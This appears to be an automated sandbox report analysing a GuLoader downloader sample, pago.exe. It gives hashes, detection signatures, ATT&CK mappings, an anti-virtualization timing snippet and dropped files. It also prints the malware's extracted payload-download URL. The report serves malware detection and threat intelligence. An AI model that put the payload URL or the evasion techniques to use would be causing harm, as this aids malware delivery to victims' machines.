Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
pago.exe

Overview

General Information

Sample Name:pago.exe
Analysis ID:634139
MD5:41db491c763c2aa61a8f4305591e3139
SHA1:20c45ae71feccf738620764f70154f0ac5b6ac59
SHA256:904211f6f92bb8e96d8a56077c3b95ed22c746ee17caf7fb769d786821521585
Infos:

Detection

GuLoader
Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected GuLoader
Tries to detect virtualization through RDTSC time measurements
C2 URLs / IPs found in malware configuration
Uses 32bit PE files
PE file does not import any functions
PE file contains strange resources
Drops PE files
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Binary contains a suspicious time stamp
Detected potential crypto function
PE / OLE file has an invalid certificate
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
PE file contains executable resources (Code or Archives)
Abnormal high CPU Usage
Contains functionality for read data from the clipboard

Classification

  • System is w10x64
  • pago.exe (PID: 5312 cmdline: "C:\Users\user\Desktop\pago.exe" MD5: 41DB491C763C2AA61A8F4305591E3139)
  • cleanup
{"Payload URL": "https://drive.google.com/uc?export=download&id=14p4RqgiFGwvudzlCweA8Cs_gKBFB_1pQ'`5"}
SourceRuleDescriptionAuthorStrings
00000000.00000002.905489212.0000000002940000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    No Sigma rule has matched
    No Snort rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: 00000000.00000002.905489212.0000000002940000.00000040.00001000.00020000.00000000.sdmpMalware Configuration Extractor: GuLoader {"Payload URL": "https://drive.google.com/uc?export=download&id=14p4RqgiFGwvudzlCweA8Cs_gKBFB_1pQ'`5"}
    Source: pago.exeVirustotal: Detection: 31%Perma Link
    Source: pago.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
    Source: pago.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
    Source: Binary string: System.Runtime.CompilerServices.VisualC.ni.pdb source: System.Runtime.CompilerServices.VisualC.dll.0.dr
    Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.VisualC\net6.0-Release\System.Runtime.CompilerServices.VisualC.pdb source: System.Runtime.CompilerServices.VisualC.dll.0.dr
    Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.VisualC\net6.0-Release\System.Runtime.CompilerServices.VisualC.pdbRSDS source: System.Runtime.CompilerServices.VisualC.dll.0.dr
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405C49
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_00406873 FindFirstFileW,FindClose,0_2_00406873
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_0040290B FindFirstFileW,0_2_0040290B

    Networking

    barindex
    Source: Malware configuration extractorURLs: https://drive.google.com/uc?export=download&id=14p4RqgiFGwvudzlCweA8Cs_gKBFB_1pQ'`5
    Source: pago.exeString found in binary or memory: http://crl.certum.pl/ctnca.crl0k
    Source: pago.exeString found in binary or memory: http://crl.certum.pl/ctnca2.crl0l
    Source: pago.exeString found in binary or memory: http://crl.certum.pl/ctsca2021.crl0o
    Source: pago.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
    Source: pago.exeString found in binary or memory: http://repository.certum.pl/ctnca.cer09
    Source: pago.exeString found in binary or memory: http://repository.certum.pl/ctnca2.cer09
    Source: pago.exeString found in binary or memory: http://repository.certum.pl/ctsca2021.cer0
    Source: pago.exeString found in binary or memory: http://subca.ocsp-certum.com01
    Source: pago.exeString found in binary or memory: http://subca.ocsp-certum.com02
    Source: pago.exeString found in binary or memory: http://subca.ocsp-certum.com05
    Source: pago.exeString found in binary or memory: http://www.certum.pl/CPS0
    Source: System.Runtime.CompilerServices.VisualC.dll.0.drString found in binary or memory: https://github.com/dotnet/runtime
    Source: System.Runtime.CompilerServices.VisualC.dll.0.drString found in binary or memory: https://github.com/dotnet/runtimeBSJB
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_004056DE GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,FindCloseChangeNotification,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,0_2_004056DE
    Source: pago.exeStatic PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
    Source: System.Runtime.CompilerServices.VisualC.dll.0.drStatic PE information: No import functions for PE file found
    Source: pago.exeStatic PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_0040352D
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_0040755C0_2_0040755C
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_00406D850_2_00406D85
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_732D1BFF0_2_732D1BFF
    Source: pago.exeStatic PE information: invalid certificate
    Source: System.Runtime.CompilerServices.VisualC.dll.0.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
    Source: C:\Users\user\Desktop\pago.exeProcess Stats: CPU usage > 98%
    Source: pago.exeVirustotal: Detection: 31%
    Source: C:\Users\user\Desktop\pago.exeFile read: C:\Users\user\Desktop\pago.exeJump to behavior
    Source: pago.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
    Source: C:\Users\user\Desktop\pago.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: C:\Users\user\Desktop\pago.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_0040352D
    Source: C:\Users\user\Desktop\pago.exeFile created: C:\Users\user\AppData\Local\Temp\nsiA766.tmpJump to behavior
    Source: classification engineClassification label: mal72.troj.evad.winEXE@1/7@0/0
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_004021AA CoCreateInstance,0_2_004021AA
    Source: C:\Users\user\Desktop\pago.exeFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_0040498A GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_0040498A
    Source: pago.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
    Source: Binary string: System.Runtime.CompilerServices.VisualC.ni.pdb source: System.Runtime.CompilerServices.VisualC.dll.0.dr
    Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.VisualC\net6.0-Release\System.Runtime.CompilerServices.VisualC.pdb source: System.Runtime.CompilerServices.VisualC.dll.0.dr
    Source: Binary string: D:\a\_work\1\s\artifacts\obj\System.Runtime.CompilerServices.VisualC\net6.0-Release\System.Runtime.CompilerServices.VisualC.pdbRSDS source: System.Runtime.CompilerServices.VisualC.dll.0.dr

    Data Obfuscation

    barindex
    Source: Yara matchFile source: 00000000.00000002.905489212.0000000002940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_732D30C0 push eax; ret 0_2_732D30EE
    Source: System.Runtime.CompilerServices.VisualC.dll.0.drStatic PE information: 0xC22B5F28 [Fri Mar 24 23:05:12 2073 UTC]
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_732D1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,0_2_732D1BFF
    Source: C:\Users\user\Desktop\pago.exeFile created: C:\Users\user\AppData\Local\Temp\System.Runtime.CompilerServices.VisualC.dllJump to dropped file
    Source: C:\Users\user\Desktop\pago.exeFile created: C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dllJump to dropped file
    Source: C:\Users\user\Desktop\pago.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

    Malware Analysis System Evasion

    barindex
    Source: C:\Users\user\Desktop\pago.exeRDTSC instruction interceptor: First address: 0000000002942688 second address: 0000000002942688 instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007F841CCD5786h 0x00000006 cmp cl, dl 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a cmp eax, ecx 0x0000000c rdtsc
    Source: C:\Users\user\Desktop\pago.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\System.Runtime.CompilerServices.VisualC.dllJump to dropped file
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,0_2_00405C49
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_00406873 FindFirstFileW,FindClose,0_2_00406873
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_0040290B FindFirstFileW,0_2_0040290B
    Source: C:\Users\user\Desktop\pago.exeAPI call chain: ExitProcess graph end nodegraph_0-4357
    Source: C:\Users\user\Desktop\pago.exeAPI call chain: ExitProcess graph end nodegraph_0-4511
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_732D1BFF GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,0_2_732D1BFF
    Source: C:\Users\user\Desktop\pago.exeCode function: 0_2_0040352D EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,OleUninitialize,ExitProcess,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,0_2_0040352D
    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid Accounts1
    Native API
    Path Interception1
    Access Token Manipulation
    1
    Access Token Manipulation
    OS Credential Dumping1
    Security Software Discovery
    Remote Services1
    Archive Collected Data
    Exfiltration Over Other Network Medium1
    Encrypted Channel
    Eavesdrop on Insecure Network CommunicationRemotely Track Device Without Authorization1
    System Shutdown/Reboot
    Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
    Timestomp
    LSASS Memory2
    File and Directory Discovery
    Remote Desktop Protocol1
    Clipboard Data
    Exfiltration Over Bluetooth1
    Application Layer Protocol
    Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)1
    Obfuscated Files or Information
    Security Account Manager13
    System Information Discovery
    SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand
    SourceDetectionScannerLabelLink
    pago.exe32%VirustotalBrowse
    pago.exe5%ReversingLabsWin32.Downloader.GuLoader
    SourceDetectionScannerLabelLink
    C:\Users\user\AppData\Local\Temp\System.Runtime.CompilerServices.VisualC.dll0%VirustotalBrowse
    C:\Users\user\AppData\Local\Temp\System.Runtime.CompilerServices.VisualC.dll0%ReversingLabs
    C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll0%VirustotalBrowse
    C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll3%MetadefenderBrowse
    C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dll0%ReversingLabs
    No Antivirus matches
    No Antivirus matches
    SourceDetectionScannerLabelLink
    http://subca.ocsp-certum.com050%URL Reputationsafe
    http://subca.ocsp-certum.com020%URL Reputationsafe
    http://subca.ocsp-certum.com010%URL Reputationsafe
    No contacted domains info
    NameSourceMaliciousAntivirus DetectionReputation
    http://crl.certum.pl/ctsca2021.crl0opago.exefalse
      high
      http://repository.certum.pl/ctnca.cer09pago.exefalse
        high
        http://repository.certum.pl/ctsca2021.cer0pago.exefalse
          high
          http://crl.certum.pl/ctnca.crl0kpago.exefalse
            high
            http://subca.ocsp-certum.com05pago.exefalse
            • URL Reputation: safe
            unknown
            http://subca.ocsp-certum.com02pago.exefalse
            • URL Reputation: safe
            unknown
            http://subca.ocsp-certum.com01pago.exefalse
            • URL Reputation: safe
            unknown
            http://crl.certum.pl/ctnca2.crl0lpago.exefalse
              high
              http://repository.certum.pl/ctnca2.cer09pago.exefalse
                high
                https://github.com/dotnet/runtimeBSJBSystem.Runtime.CompilerServices.VisualC.dll.0.drfalse
                  high
                  http://nsis.sf.net/NSIS_ErrorErrorpago.exefalse
                    high
                    http://www.certum.pl/CPS0pago.exefalse
                      high
                      https://github.com/dotnet/runtimeSystem.Runtime.CompilerServices.VisualC.dll.0.drfalse
                        high
                        No contacted IP infos
                        Joe Sandbox Version:34.0.0 Boulder Opal
                        Analysis ID:634139
                        Start date and time: 25/05/202216:46:012022-05-25 16:46:01 +02:00
                        Joe Sandbox Product:CloudBasic
                        Overall analysis duration:0h 7m 39s
                        Hypervisor based Inspection enabled:false
                        Report type:full
                        Sample file name:pago.exe
                        Cookbook file name:default.jbs
                        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                        Number of analysed new started processes analysed:14
                        Number of new started drivers analysed:0
                        Number of existing processes analysed:0
                        Number of existing drivers analysed:0
                        Number of injected processes analysed:0
                        Technologies:
                        • HCA enabled
                        • EGA enabled
                        • HDC enabled
                        • AMSI enabled
                        Analysis Mode:default
                        Analysis stop reason:Timeout
                        Detection:MAL
                        Classification:mal72.troj.evad.winEXE@1/7@0/0
                        EGA Information:
                        • Successful, ratio: 100%
                        HDC Information:
                        • Successful, ratio: 85.5% (good quality ratio 84.3%)
                        • Quality average: 86.8%
                        • Quality standard deviation: 21.3%
                        HCA Information:
                        • Successful, ratio: 100%
                        • Number of executed functions: 48
                        • Number of non-executed functions: 32
                        Cookbook Comments:
                        • Found application associated with file extension: .exe
                        • Adjust boot time
                        • Enable AMSI
                        • Override analysis time to 240s for sample files taking high CPU consumption
                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
                        • Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
                        • Not all processes where analyzed, report is missing behavior information
                        • Report size getting too big, too many NtSetInformationFile calls found.
                        No simulations
                        No context
                        No context
                        No context
                        No context
                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                        C:\Users\user\AppData\Local\Temp\nsaB9F5.tmp\System.dllpago.exeGet hashmaliciousBrowse
                          INVOICE.exeGet hashmaliciousBrowse
                            SecuriteInfo.com.W32.AIDetect.malware2.8825.exeGet hashmaliciousBrowse
                              INVOICE.exeGet hashmaliciousBrowse
                                SecuriteInfo.com.W32.AIDetect.malware2.8825.exeGet hashmaliciousBrowse
                                  REQUEST FOR OFFER 25-05-2022#U00b7pdf.exeGet hashmaliciousBrowse
                                    proforma invoice pdf.exeGet hashmaliciousBrowse
                                      REQUEST FOR OFFER 25-05-2022#U00b7pdf.exeGet hashmaliciousBrowse
                                        proforma invoice pdf.exeGet hashmaliciousBrowse
                                          SecuriteInfo.com.Artemis5578255A695D.24317.exeGet hashmaliciousBrowse
                                            Payment_Advice.xlsxGet hashmaliciousBrowse
                                              SecuriteInfo.com.Artemis5578255A695D.24317.exeGet hashmaliciousBrowse
                                                louCCFrO4t.exeGet hashmaliciousBrowse
                                                  Gas bill for 5-25- 2022#U00b7pdf.exeGet hashmaliciousBrowse
                                                    louCCFrO4t.exeGet hashmaliciousBrowse
                                                      Gas bill for 5-25- 2022#U00b7pdf.exeGet hashmaliciousBrowse
                                                        KwP6qU3cQ8.exeGet hashmaliciousBrowse
                                                          KwP6qU3cQ8.exeGet hashmaliciousBrowse
                                                            2gl1wtChCW.exeGet hashmaliciousBrowse
                                                              2gl1wtChCW.exeGet hashmaliciousBrowse
                                                                Process:C:\Users\user\Desktop\pago.exe
                                                                File Type:JPEG image data, JFIF standard 1.01, resolution (DPI), density 100x100, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=3], baseline, precision 8, 110x110, frames 3
                                                                Category:dropped
                                                                Size (bytes):10390
                                                                Entropy (8bit):7.903542919804659
                                                                Encrypted:false
                                                                SSDEEP:192:oXRNg0EZjs8IqPEZuNsIVO+4maXz0/UXNmoSClcbUHDbq7QHofXMK5/AXBEC:KRN4sZAvBOFmGzGUIoSCabqHGXMU/aBZ
                                                                MD5:A82E06031DCD06EB3C8A5FAD0F365431
                                                                SHA1:C1EDFB9FA004A8959ABAD35AC80D85BBCE6D491A
                                                                SHA-256:7B1FFF6C0A7F458D8DE95D0820E39C5501DC1E045B4DB29B9649A399DA77DC47
                                                                SHA-512:C7D524633E84D8A58912E3BBAFF9A08DF9F0B54760CC5375BD30C11737D395BCD94BE9F3884D92B260BAF8A30956E025CBDC348C364BA6300B70D2EF73CDE83C
                                                                Malicious:false
                                                                Reputation:low
                                                                Preview:......JFIF.....d.d.....:Exif..MM.*......Q...........Q..........aQ..........a.......C....................................................................C.......................................................................n.n.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....#~......o..f...Y...N..........Yi~..~-......V..y0.s....-.e..eR.O.....J...O.)..y...uo;...T~D1JWs)......c.A| dZ..a'...z..qR.._y..E~R......\.}...8...T~1i....w..H.{.!X..........3..P.' s....?m.._j.M...k..5.....?.~..Kxf..t.K...#.a..+...........p.e./..z..%5..W..O..wR.?.....?.F.}2.T.g...xgF......,..O"D...hf
                                                                Process:C:\Users\user\Desktop\pago.exe
                                                                File Type:data
                                                                Category:dropped
                                                                Size (bytes):97167
                                                                Entropy (8bit):6.6932651335642435
                                                                Encrypted:false
                                                                SSDEEP:1536:EfXAWCQ6T7mcMoluztlNfcC4VRZIoMbHSEfn+BAy+:Ev+Q6Wc+lNf8ioMbN+BP+
                                                                MD5:6F25FEEFB6A9A623BA078478EE1AEEC2
                                                                SHA1:4D3FD6287027B2DE74867136478569CCBF86631A
                                                                SHA-256:C21E1406829942B630592ED3844D4F102A3C7DEF56B605B8DA16714A7373C235
                                                                SHA-512:051A50DE535F20FC9928CAD362BBE896F1D04603E6372AADCC37707287B369BE5F36538CBCD879C666134112FC1A5D4A573B2FEE6BE0B8721596074B818ED562
                                                                Malicious:false
                                                                Reputation:low
                                                                Preview:.............$...--------------------------.......`...f.......2.|mY..............................................f................Z................................f.....f.r...5..UX..................................................r.i.......b..2]..V..............................................f.....f..........+;..&=======================================.....f.s....f.....f......\k*ddddddddddddddddddddddddddd..f..j......2R.DY..............................................f.....~.f.....f.a.....1,).i---------------------------------------------f=o"f.u............./.........................................0..8.GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGf..9..........0e.#_.............................................,......f.b......7j..ooooooooooooooooooooooooooooooooooooooooooooooooooo.......o.f.e......'....ccccccccccccccccccccccccccccccccccc.......f.r......f.n..,.\.a........................................f...........f.`.f...f...................................................f.
                                                                Process:C:\Users\user\Desktop\pago.exe
                                                                File Type:ASCII text, with very long lines, with no line terminators
                                                                Category:dropped
                                                                Size (bytes):48940
                                                                Entropy (8bit):3.999620856152349
                                                                Encrypted:false
                                                                SSDEEP:768:Q6Ng3Z7BTx5kWGy0GXHhdq7R04CFNNGFdGf2c4nUqABwgtX0Y9ct4ekzzQ:dN4PrCaYRkrGF62c4UZBwe07t4hzU
                                                                MD5:A41261EC6495500632E1437958CBD9EF
                                                                SHA1:1F1AC7AAEA6BFA125C61D49AF3DB5BAA7282D0E4
                                                                SHA-256:3C7C286698CCBE7918CAC68318462094EA40F6A8501CF5E947CFF2AB08612CF4
                                                                SHA-512:18D3CB0A741607DEE4F09374842C2EA2E5093D3E8DFF7B8ED6A6022ED4622142B97C8C92A48A907F67FD3AE33E50A8B4337E55B3A18BB448CD6A08A94796EE93
                                                                Malicious:false
                                                                Reputation:low
                                                                Preview:4A6D9A95C3AD8B8313D5017E5C7345F700E9ADFB7A0B74D8C58A24912FF5430FFA44EE0BBFFFE3187852D0D519CA9222A58A5FF8C8344F893B8242AA0D47F87ABE4B5A0D8432057C6C5A8AFDAF35E9C046A93DF774213E88282EC07A5A277F07C2AAB535B8395D8A04AD3AFAE72A30E5FFAD22A076630B63044E10C00CBB00D04546DCA6EAFCF96134C3701296FB556AE59919932D019C2E7BC07B81A2FD3DB232BBFF90A5D09102C73A40C9F6C41F9EB5A7C51CE1981D65896581B79A4C4ABB5DA400A6E990F3B0994BB9176DB70A4FE1C20F57C13073461FBD2D29B2D7C54496BD5F8F0500512300E99A9A8803F1D826E351306A5D182BA2AE764E7FAA4946A4405278969EE637F0D8E8D8F6558AA680C4A6B5FEBAB8A290ECC9E4326B3FA336893FFF7799D71AC90D1AC7BFF244CBC0F9E1B5BECA89F17C475A119EDF7804C53BB284FA391F934D93B1634C0D08B93E2A02229BF43EE204632CECD42385CDB38194671D2B42DE31B8E4558579042EA0A86C2E33520373DE6EA1A52C4080E0BFF3DBC347BE055739739B43AA4B727F004E5D8EA4071945D23FE0734503E17F9891C78D934DFA3C7B96BB3C7CBA197688C5DC1C3886679AD7C945D7987665A51F5AEDB4E3B9C8615DF12C8E9B4968870EC72403D9AE866BD8B23C9D197FE8516C30C7CD3697D5AC4099DFCFA9E0A6BA2617D581
                                                                Process:C:\Users\user\Desktop\pago.exe
                                                                File Type:PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
                                                                Category:dropped
                                                                Size (bytes):19056
                                                                Entropy (8bit):6.442411564417779
                                                                Encrypted:false
                                                                SSDEEP:384:8WhLWql40uIrRDTveaVEc2gK/uPHRN7xpJ/AlGseCvy:rfl40uqDTveaVCMxv/xj4y
                                                                MD5:E3F74999CDB00FCAAA6A40A97B8F199B
                                                                SHA1:F3A2C8DF8E98F7DCB49CBE5C4A717A6087A656D2
                                                                SHA-256:6929BC473DF404FCED714F345479216B66B72ACF116061DF1CDD8ACAEE961333
                                                                SHA-512:3BE3EEAB3304EFEB9594FA516B61528587CFA8453AB7B4AF991137E3A1D7E23270DA600FC341EEF703932CCFF53571ACF3CD00AEEAE47347CC36EE69B71DB37C
                                                                Malicious:false
                                                                Antivirus:
                                                                • Antivirus: Virustotal, Detection: 0%, Browse
                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                Reputation:low
                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...(_+..........." ..... ...................................................P............`...@......@............... ...............................................&..p$...@..........T...............................................................H............text...X........ .................. ..`.data...D....0......."..............@....reloc.......@.......$..............@..B............................................0.............................4...V.S._.V.E.R.S.I.O.N._.I.N.F.O...................y.........?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...h.(...C.o.m.m.e.n.t.s...S.y.s.t.e.m...R.u.n.t.i.m.e...C.o.m.p.i.l.e.r.S.e.r.v.i.c.e.s...V.i.s.u.a.l.C...L.....C.o.m.p.a.n.y.N.a.m.e.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...x.(...F.i.l.e.D.
                                                                Process:C:\Users\user\Desktop\pago.exe
                                                                File Type:PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
                                                                Category:dropped
                                                                Size (bytes):217
                                                                Entropy (8bit):6.534586335380934
                                                                Encrypted:false
                                                                SSDEEP:6:6v/lhPysy9LkyYu1RTqYPVFb77PhjC0E6IO7lNX5p:6v/7SNkq1lRdh77Z46IO73X3
                                                                MD5:92DBF28E22A2BFCDDA0BCC8FB01565D7
                                                                SHA1:2FD88523B68E1F078F7A0728039017C4886F7154
                                                                SHA-256:71D4F559AAECBD739CF9921FDA88072D125000E3E97BF2A534D3647D79505203
                                                                SHA-512:00C886F5C2DDB4B979FF9BCE550D6B2AAC245087FB43EA94BED81587C356F664FF2A50BE42E0BABA0E1C3D62A45E73DD51DAD64CDCF262F616C81AA2365CEC34
                                                                Malicious:false
                                                                Reputation:low
                                                                Preview:.PNG........IHDR................a....sBIT....|.d.....IDAT8...A.. .E..W(..]..q.nu.r.\..R.L.?....|f&.......p!......9gp....n...h........=)t..`.O.FM7...x#/..........-].a.?._....y.. 6X..J..... h.AW....I.P...Y.....IEND.B`.
                                                                Process:C:\Users\user\Desktop\pago.exe
                                                                File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                Category:dropped
                                                                Size (bytes):12288
                                                                Entropy (8bit):5.814115788739565
                                                                Encrypted:false
                                                                SSDEEP:192:Zjvco0qWTlt70m5Aj/lQ0sEWD/wtYbBHFNaDybC7y+XBz0QPi:FHQlt70mij/lQRv/9VMjzr
                                                                MD5:CFF85C549D536F651D4FB8387F1976F2
                                                                SHA1:D41CE3A5FF609DF9CF5C7E207D3B59BF8A48530E
                                                                SHA-256:8DC562CDA7217A3A52DB898243DE3E2ED68B80E62DDCB8619545ED0B4E7F65A8
                                                                SHA-512:531D6328DAF3B86D85556016D299798FA06FEFC81604185108A342D000E203094C8C12226A12BD6E1F89B0DB501FB66F827B610D460B933BD4AB936AC2FD8A88
                                                                Malicious:false
                                                                Antivirus:
                                                                • Antivirus: Virustotal, Detection: 0%, Browse
                                                                • Antivirus: Metadefender, Detection: 3%, Browse
                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                Joe Sandbox View:
                                                                • Filename: pago.exe, Detection: malicious, Browse
                                                                • Filename: INVOICE.exe, Detection: malicious, Browse
                                                                • Filename: SecuriteInfo.com.W32.AIDetect.malware2.8825.exe, Detection: malicious, Browse
                                                                • Filename: INVOICE.exe, Detection: malicious, Browse
                                                                • Filename: SecuriteInfo.com.W32.AIDetect.malware2.8825.exe, Detection: malicious, Browse
                                                                • Filename: REQUEST FOR OFFER 25-05-2022#U00b7pdf.exe, Detection: malicious, Browse
